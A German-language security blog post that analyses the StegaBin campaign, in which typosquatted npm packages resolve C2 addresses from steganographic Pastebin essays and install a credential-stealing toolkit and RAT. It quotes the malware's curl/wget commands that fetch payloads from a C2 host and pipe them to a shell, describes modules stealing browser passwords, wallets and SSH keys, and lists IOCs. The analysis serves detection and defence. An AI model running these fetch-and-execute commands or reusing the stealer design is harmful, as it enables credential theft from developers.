In this article
StegaBin im Detail: Wie eine nordkoreanische Steganografie-Kampagne Schlagzeilen machte
Ende Februar 2026 veröffentlichte ein nordkoreanischer Bedrohungsakteur innerhalb von zwei Tagen 26 schädliche npm-Pakete über Wegwerfkonten. Die Pakete nutzten Text-Steganografie, um Command-and-Control-URLs in Pastebin-Beiträgen zu verstecken, die als Informatikaufsätze getarnt waren. Sie setzten einen Infostealer mit neun Modulen und ein RAT ein, das auf Browser-Anmeldedaten, Krypto-Wallets, SSH-Schlüssel und VS-Code-Konfigurationen abzielte. Die Infrastruktur umfasste 31 Vercel-Deployments mit automatisiertem Fallback.
Die Kampagne löste eine Welle der Berichterstattung aus: The Hacker News, SecurityOnline, GBHackers, DevOps.com und andere veröffentlichten Artikel. Socket veröffentlichte einen ausführlichen Forschungsblog und erweiterte die ursprünglichen 17 Pakete auf 26.
Soweit wir feststellen konnten, wurden die Pakete in der Praxis kaum genutzt. Das entspricht dem typischen Verlauf solcher Kampagnen.
Zeitachse
Datum | Ereignis |
|---|---|
11. Februar 2026 | Pastebin-Dead-Drop-Beiträge erstellt |
25. Februar 2026 | Erste schädliche npm-Pakete veröffentlicht (\~19:38 UTC) |
26. Februar 2026 | Letzte Pakete veröffentlicht (\~10:35 UTC) |
\~2. März 2026 | kmsec.uk veröffentlicht die ursprüngliche Recherche (17 Pakete); Socket erweitert die Analyse auf 26 |
2.–3. März 2026 | The Hacker News, SecurityOnline, GBHackers und andere berichten über die Kampagne |
6. März 2026 | Alle Pakete auf npm gekennzeichnet und entfernt |
9. März 2026 | Alle 26 Sicherheitshinweise in der Snyk Vulnerability Database veröffentlicht |
Was StegaBin tatsächlich bewirkt
Bevor wir uns ansehen, was die Daten aussagen, lohnt es sich, die technische Arbeit hinter der Kampagne zu verstehen. Die Kampagne wird der mit Nordkorea verbundenen Bedrohungsgruppe Contagious Interview zugeschrieben (auch bekannt als FAMOUS CHOLLIMA, DeceptiveDevelopment und PurpleBravo) und stellt eine Weiterentwicklung der Methoden dar, mit denen npm-Malware ihre C2-Infrastruktur auflöst.
Die Pakete
Zwischen dem 25. und 26. Februar 2026 wurden 17 Pakete über einzelne npm-Wegwerfkonten veröffentlicht. Der Sicherheitsforscher kmsec identifizierte die erste Gruppe; Socket erweiterte die Zahl später auf 26. Alle Pakete folgen demselben Muster: Typosquatting beliebter Bibliotheken mit plausibel klingenden Namen.
Paket | Ahmt nach | Veröffentlicht |
|---|---|---|
| dayjs | 26. Feb., 10:35 UTC |
| cors | 26. Feb., 10:33 UTC |
| sequelize | 26. Feb., 10:16 UTC |
| express | 26. Feb., 10:05 UTC |
| lodash | 25. Feb., 22:31 UTC |
| fastify | 25. Feb., 22:07 UTC |
| vitest | 25. Feb., 22:21 UTC |
| prism | 25. Feb., 22:13 UTC |
| argon2 | 25. Feb., 21:51 UTC |
| bcrypt | 25. Feb., 21:46 UTC |
| ethers | 25. Feb., 19:38 UTC |
(Vollständige Liste mit 26 Paketen: argonist, bcryptance, bee-quarl, bubble-core, corstoken, daytonjs, ether-lint, expressjs-lint, fastify-lint, formmiderable, hapi-lint, iosysredis, jslint-config, jsnwebapptoken, kafkajs-lint, loadash-lint, mqttoken, prism-lint, promanage, sequelization, typoriem, undicy-lint, uuindex, vitetest-lint, windowston, zoddle)
Jedes Paket enthält identischen schädlichen Code unter vendor/scrypt-js/version.js (SHA256: da1775d0fbe99fbc35b6f0b4a3a3cb84da3ca1b2c1bbac0842317f6f804e30a4). Ein install-Skript in der package.json des Pakets ruft node ./scripts/test/install.js auf, das die Payload lediglich importiert und ausführt.
Der Steganografie-Trick
Dieser Teil gab der Kampagne ihren Namen und sorgte für Schlagzeilen.
Anstatt C2-Domains fest zu codieren (die sich leicht blockieren lassen), ruft die Malware drei Pastebin-Beiträge ab, die wie gewöhnliche Informatikaufsätze aussehen. Im Text verborgen sind C2-URLs, die mittels Steganografie auf Zeichenebene codiert wurden: Zeichen an gleichmäßig verteilten Positionen im gesamten Aufsatz wurden ersetzt, sodass sie Infrastrukturadressen ergeben.
Der Decoder:
Entfernt Zero-Width-Unicode-Zeichen aus dem abgerufenen Text
Liest am Anfang einen fünfstelligen Längenmarker aus
Berechnet gleichmäßig verteilte Zeichenpositionen im Text
Liest das Zeichen an jeder Position aus
Teilt das Ergebnis anhand des Trennzeichens
|||auf und endet bei===END===
Die drei Pastebin-Dead-Drops wurden am 11. Februar 2026 erstellt, zwei Wochen vor der Veröffentlichung der Pakete:
Pastebin-URL | Autor | Aufrufe |
|---|---|---|
| davidsouza23 | 353 |
| Edgar04231 | 15 |
| Edgar04231 | 19 |
Die Aufrufzahlen sprechen für sich. Der primäre Pastebin-Beitrag wurde 353-mal aufgerufen (wahrscheinlich eine Mischung aus Recherchen und tatsächlichen Malware-Ausführungen). Die Fallbacks wurden kaum aufgerufen.
Plattformspezifische Payload-Auslieferung
Die decodierte C2-URL verweist auf ein Vercel-Deployment (ext-checkdin[.]vercel[.]app) mit 31 Fallback-Domains nach Mustern wie cleverstack-ext301, brightlaunch-app615, neuraldock-ext126. User-Agents, die nicht von curl stammen, erhalten eine Köderseite mit dem Hinweis „Permanently suspended“.
Der Vercel-Endpunkt stellt plattformspezifische Shell-Payloads bereit:
# macOS
curl -s 'https://${c2Host}/api/m' | sh
# Drops ~/Library/tokenlinux.sh, executes via nohup
# Linux
wget -qO- 'https://${c2Host}/api/l' | sh
# Drops ~/.config/tokenlinux.npl, renames to .sh, executes via nohup
# Windows
curl -s https://${c2Host}/api/w | cmd
# Drops %APPDATA%\parse\token.cmdAlle drei Varianten laufen losgelöst (spawn(shellPath, shellArgs, { stdio: 'ignore', detached: true })) und erzeugen keine Konsolenausgabe.
Der Infostealer mit neun Modulen
Die finale Payload ist ein modulares Toolkit, das darauf ausgelegt ist, Anmeldedaten und Geheimnisse umfassend vom Rechner eines Entwicklers zu stehlen:
Modul | Ziel | Technik |
|---|---|---|
bro | Browser-Anmeldedaten | Stiehlt gespeicherte Passwörter aus Chrome, Firefox, Opera und Edge |
j | Krypto-Wallets | Zielt auf 86 IDs von Browser-Erweiterungen (MetaMask, Phantom, Coinbase Wallet usw.) |
vs | VS Code | Schleust eine persistente |
clip | Zwischenablage/Keylogger | Überwacht die Zwischenablage alle 500 ms, setzt Low-Level-Tastatur-Hooks und exfiltriert Daten in Abständen von 10 Minuten |
git | SSH-Schlüssel und Git-Anmeldedaten | Extrahiert |
z | Dateisystem | Durchsucht Dateien anhand von Mustern und exfiltriert passende Dateien |
truffle | Geheimnisse im Code | Lädt TruffleHog, ein legitimes Tool zum Aufspüren von Geheimnissen, herunter und führt es in lokalen Repos aus |
n | Remotezugriff | Persistentes WebSocket-RAT (verbindet sich für Befehle mit |
sched | Persistenz | Stellt nach einem Neustart alle Module erneut bereit und richtet sie wieder ein |
Das TruffleHog-Modul ist eine besonders interessante Wahl: Anstatt einen eigenen Scanner für Geheimnisse zu entwickeln, laden die Angreifer ein Open-Source-Sicherheitstool herunter und missbrauchen es, um API-Schlüssel, Tokens und Anmeldedaten in der Codebasis des Opfers zu finden.
Hat diese Pakete tatsächlich jemand installiert?
Alle 26 Pakete wurden von npm gekennzeichnet und entfernt. Sicherheitshinweise zu allen Paketen finden Sie in der Snyk Vulnerability Database.
Angesichts der Aufrufzahlen der Pastebin-Beiträge (353 beim primären Beitrag, 15 und 19 bei den Fallbacks) und der Tatsache, dass es sich um brandneue Pakete ohne bisherige Download-Historie handelte, scheint ihre Verbreitung in der Praxis vernachlässigbar gewesen zu sein.
Das ist angesichts des Kampagnendesigns nicht überraschend. Diese brandneuen Pakete haben keine Download-Historie, keine abhängigen Pakete und keinen Grund, in einem realen Projekt verwendet zu werden. Ihre Namen ähneln echten Paketen genug, um jemanden zu täuschen, der sich an einen Paketnamen falsch erinnert. Doch expressjs-lint landet nicht versehentlich in der Lock-Datei. Diese Pakete erreichen ihre Opfer über einen bestimmten Social-Engineering-Ablauf: Ein gefälschter Recruiter schickt einer Bewerberin oder einem Bewerber ein „Testprojekt“, das das schädliche Paket als Abhängigkeit enthält. Ziel sind einzelne Entwicklerinnen und Entwickler während Bewerbungsgesprächen, nicht Produktionssysteme.
Ein wiederkehrendes Muster
Die Kampagne Contagious Interview läuft seit Ende 2023 und ist Teil eines zunehmenden Trends schädlicher Pakete in Open-Source-Ökosystemen. Mit Nordkorea verbundene Gruppen haben in Dutzenden Wellen Hunderte schädliche npm-Pakete veröffentlicht. Socket verfolgt diese Aktivitäten aufmerksam und hat detaillierte Analysen zu mehreren Varianten veröffentlicht. Die Techniken entwickeln sich weiter (Bitbucket-Payloads, dann direkte Stager, anschließend Google Drive und nun steganografische Pastebin-Dead-Drops), doch das Grundprinzip bleibt gleich: neue Wegwerfpakete veröffentlichen, sie bei gezieltem Social Engineering einsetzen und darauf hoffen, dass das Opfer sie installiert.
Jede Welle sorgt für neue Schlagzeilen, und jedes Mal sind die Auswirkungen auf Unternehmen in der Praxis vernachlässigbar. Keine package-lock.json zieht zoddle oder daytonjs ein. Der Angriffsvektor ist Social Engineering, das auf einzelne Entwickler abzielt; die Pakete dienen als Auslieferungsweg, nicht als Einstiegspunkt in das System.
Wann schädliche Pakete wirklich gefährlich sind
Schädliche Paketkampagnen, die eine Reaktion auf Sicherheitsvorfälle erfordern, sind jene, bei denen Pakete kompromittiert werden, die sich bereits in Ihrem Abhängigkeitsbaum befinden.
Im September 2025 verbreitete sich der Shai-Hulud-Wurm über trojanisierte Versionen von ngx-bootstrap, ng2-file-upload und @ctrl/tinycolor – Paketen mit realen Downloadzahlen und tatsächlichen abhängigen Projekten. Die Kampagne schleuste schädliche postinstall-Hooks in legitime Pakete ein und stahl npm-, GitHub- und Cloud-Anmeldedaten von Entwicklerrechnern und CI-Agenten. Bis November hatte sein Nachfolger SHA1-Hulud mehr als 600 verschiedene npm-Pakete betroffen, darunter beliebte Pakete von Zapier, PostHog und Postman.

Shai-Hulud-NPM-Angriff: Behebung mit Snyk
Wenn Sie mehr darüber erfahren möchten, wie legitime Pakete kompromittiert werden, lesen Sie die Lektion Compromise of legitimate package auf Snyk Learn.
Was das für Ihr Sicherheitsprogramm bedeutet
Für die meisten Unternehmen ist das praktische Risiko durch schädliche Wegwerfpaket-Kampagnen gering. Folgendes hilft:
1. Wissen Sie, was in Ihrem Abhängigkeitsbaum steckt. Wenn Sie die Frage „Verwenden wir eines dieser 26 Pakete?“ in Minuten statt Tagen beantworten können, sind Sie gut aufgestellt. Tools wie Snyk Open Source kennzeichnen schädliche Pakete bei jedem Scan. Sobald Sicherheitshinweise veröffentlicht werden, werden betroffene Projekte also automatisch erkannt.
# Scan your project (includes malicious package advisories)
snyk test2. Fixieren Sie Ihre Abhängigkeiten. Verwenden Sie Lock-Dateien (package-lock.json, yarn.lock) und überprüfen Sie Änderungen daran in Pull Requests. Schädliche Wegwerfpakete gelangen nur dann in Ihre Codebasis, wenn jemand sie ausdrücklich hinzufügt. Ein Diff der Lock-Datei mit einem neuen, unbekannten Paket ist ein eindeutiges Warnsignal.
3. Richten Sie die Reaktion auf Sicherheitsvorfälle auf das aus, was in die Produktion gelangt. Wenn eine Kampagne mit schädlichen Paketen Schlagzeilen macht, sollten Sie zuerst folgende Frage beantworten: „Befindet sich eines dieser Pakete in unseren Projekten?“ Falls nicht, nehmen Sie die Bedrohung zur Kenntnis, bestätigen Sie, dass Sie nicht betroffen sind, und machen Sie weiter. Heben Sie sich die gründliche Untersuchung für Fälle auf, in denen kompromittierte Pakete bereits in Ihrem Abhängigkeitsbaum sind.
4. Sensibilisieren Sie Entwickler für Social Engineering über gefälschte Stellenangebote. Die Kampagne Contagious Interview zielt über fingierte Bewerbungsgespräche und „Testprojekte“ direkt auf Entwickler ab. Die technische Raffinesse steckt in der Malware, doch der Erstzugriff erfolgt durch altbekanntes Social Engineering. Entwickler sollten vorsichtig sein, wenn sie unbekannte Projekte von Recruitern ausführen – insbesondere, wenn dafür npm install mit nicht vertrauten Paketen erforderlich ist.
Weitere Informationen zum Schutz Ihrer npm-Abhängigkeiten finden Sie in NPM Security: Preventing Supply Chain Attacks und How to Prevent Malicious Packages auf dem Snyk-Blog.
IOCs
Für Detection-Teams sind dies die wichtigsten Indikatoren dieser Kampagne. Vollständige IOC-Sammlungen werden außerdem auf GitHub von starmtp/IOCs, kraven-security/hunting-packages und stamparm/maltrail gepflegt.
Datei-Hashes (SHA256):
# Main payload (vendor/scrypt-js/version.js) - identical across all 26 packages
da1775d0fbe99fbc35b6f0b4a3a3cb84da3ca1b2c1bbac0842317f6f804e30a4
# Platform-specific payloads
869c327b8dc757fa126cd281bc4a14d809c50e9a792954442c55cea5b46912ec # Linux
bce0da6547ae74f97e2bb61672a3e159b837acf01f7c68a813ea75c3835ff303 # macOS
e361d2859ba2eb2540bf6fb12db0b9857ef610bb9920830921e986d4b9109e89 # Windows
accf04ad3228a22532d2f5802a5b0c379c3616564c4766fc1f1ca20dac8dba07 # Decoy "Permanently suspended" page
# Additional package/component hashes
ddbb527be0f40cd13eab08e3e418e36e86e4f1f1458cf84cfee29490beacf3a6
ce80100a383730822221f3ce769ea5ccda0c583654cc7c119ecc50bfbb4203b9
714f890308d2cfebb2ed3ae873697408372639260bb682ea4cfbfffec98b8add
1b15f73054350c6ab42f6e1d2ce4d84d7c56821db699e4ec484541263dfcb636
ba3e520b9727e893cf07b0c1a6e6ce1a62e8e9bf28b5c771af4fdf01f9bd9ed4
78c8b9044f6029280d28a1f62a4414a22e870fc27e3cc4894bd077d17f2ad8b4
4e6a7bf3964fc0e3a655f062330c76b4876dcfac47d213e4c1f0ec3fe6ef9e12
978e8f161da04e00117a695aa59452dce89b5247db93ab7cedcaea3c1f26b8c8Netzwerkindikatoren:
# C2 infrastructure
103.106.67[.]63:1244 # RAT command channel
103.106.67[.]63:1245 # Additional RAT port
103.106.67[.]63:1247 # WebSocket persistence
# Pastebin dead drops (steganographic C2 resolvers)
hxxps://pastebin[.]com/CJ5PrtNk
hxxps://pastebin[.]com/0ec7i68M
hxxps://pastebin[.]com/DjDCxcsT
# Primary Vercel C2
ext-checkdin[.]vercel[.]app
# Vercel fallback domains (30 additional)
cleverstack-ext301[.]vercel[.]app cleverstack-app998[.]vercel[.]app
brightlaunch-ext742[.]vercel[.]app brightlaunch-app615[.]vercel[.]app
primevector-ext483[.]vercel[.]app primevector-app920[.]vercel[.]app
zenithflow-ext156[.]vercel[.]app zenithflow-app877[.]vercel[.]app
cloudharbor-ext664[.]vercel[.]app cloudharbor-app239[.]vercel[.]app
sparkforge-ext518[.]vercel[.]app sparkforge-app790[.]vercel[.]app
logicfield-ext432[.]vercel[.]app logicfield-app681[.]vercel[.]app
atlasnode-ext957[.]vercel[.]app atlasnode-app204[.]vercel[.]app
signalbase-ext369[.]vercel[.]app signalbase-app845[.]vercel[.]app
neuraldock-ext126[.]vercel[.]app neuraldock-app734[.]vercel[.]app
orbitstack-ext592[.]vercel[.]app orbitstack-app318[.]vercel[.]app
fusionlayer-ext807[.]vercel[.]app fusionlayer-app463[.]vercel[.]app
quantapath-ext275[.]vercel[.]app quantapath-app914[.]vercel[.]app
visiondock-ext648[.]vercel[.]app visiondock-app157[.]vercel[.]app
openmatrix-ext539[.]vercel[.]app openmatrix-app882[.]vercel[.]appHost-Indikatoren:
~/Library/tokenlinux.sh(macOS)~/.config/tokenlinux.npl(Linux)%APPDATA%\parse\token.cmd(Windows)Geänderte
.vscode/tasks.jsonmit 186 Leerzeichen (VS-Code-Persistenz über den AuslöserrunOn: "folderOpen")
Prozessverhalten:
Node.js startet
curloderwgetNode.js-DNS-Abfragen an
pastebin.comUser-Agent-Anfragen von
curl/wgetan Vercel-DeploymentsAusführung der TruffleHog-Binärdatei aus ungewöhnlichen Pfaden
WHITEPAPER
Die KI-Sicherheitskrise in Ihrer Python-Umgebung
Angesichts des rasanten Entwicklungstempos: Wissen Sie wirklich, worauf Ihre KI-Umgebung zugreifen kann?